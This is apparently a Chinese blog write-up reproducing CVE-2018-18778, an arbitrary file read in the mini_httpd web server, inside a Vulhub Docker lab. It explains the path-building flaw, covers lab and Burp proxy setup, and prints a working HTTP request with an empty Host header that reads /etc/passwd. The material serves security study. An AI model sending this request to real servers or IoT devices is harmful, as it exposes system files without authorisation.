利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)
2019-07-12 16:26
1386 查看
mini_httpd任意文件读取漏洞(CVE-2018-18778)
Vulnhub官方复现教程
https://vulhub.org/#/environments/mini_httpd/CVE-2018-18778/
漏洞原理
Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
在mini_httpd开启虚拟主机模式的情况下,用户请求
http://HOST/FILE将会访问到当前目录下的
HOST/FILE文件。
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
见上述代码,分析如下:
- 当HOST=
example.com
、FILE=index.html
的时候,上述语句结果为example.com/index.html
,文件正常读取。 - 当HOST为空、FILE=
etc/passwd
的时候,上述语句结果为/etc/passwd
。
后者被作为绝对路径,于是读取到了
/etc/passwd,造成任意文件读取漏洞。
复现过程
启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/mini_httpd/CVE-2018-18778
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:3分钟
环境启动后,访问
http://your-ip:8080即可看到Web页面。
我的是这样,不知道算不算有错
端口设置
浏览器设置
以火狐浏览器FireFox为例,在
选项→
常规→
网络设置→
设置,将
连接中
手动代理配置的
HTTP代理,填写
127.0.0.1,端口为
8080
BurpSuit设置
在
Proxy下
Options的
Proxy Listeners编辑监听端口为
8080
并将
Proxy下
Intercept点击成
Intercept is on
漏洞复现
发送请求是将Host置空,PATH的值是文件绝对路径:
GET /etc/passwd HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
成功读取文件:
相关文章推荐
- jenkins任意文件读取漏洞复现与分析 -CVE-2018-1999002
- 利用Vulnhub复现漏洞 - Nginx越界读取缓存漏洞(CVE-2017-7529)
- 利用Vulnhub复现漏洞 - Nginx 文件名逻辑漏洞(CVE-2013-4547)
- WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现
- CVE-2018-12613Phpmyadmin后台 任意文件包含漏洞复现
- 利用Vulnhub复现漏洞 - Mysql 身份认证绕过漏洞(CVE-2012-2122)
- 利用Vulnhub复现漏洞 - Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
- 利用Vulnhub复现漏洞 - Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)
- Weblogic 两处未授权任意文件上传漏洞(CVE-2018-2894)
- Windows任意文件读取漏洞复现
- Flash Player类型混淆严重漏洞,成功利用可能导致任意代码执行(CVE-2018-15981)
- PHPMailer任意文件读取漏洞分析(CVE-2017-5223)
- phpcms <= v9.15 任意文件读取漏洞的分析和利用
- Git漏洞允许任意代码执行(CVE-2018-17456)复现
- WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)
- 【漏洞预警】FFmpeg曝任意文件读取漏洞
- PHP任意文件上传漏洞CVE-2015-2348浅析
- Foxit Reader XFA setInterval释放后重利用代码执行漏洞(CVE-2018-17628)
- 何查找网站漏洞文件任意查看漏洞详情与利用
- 双杀 0day 漏洞(CVE-2018-8174)复现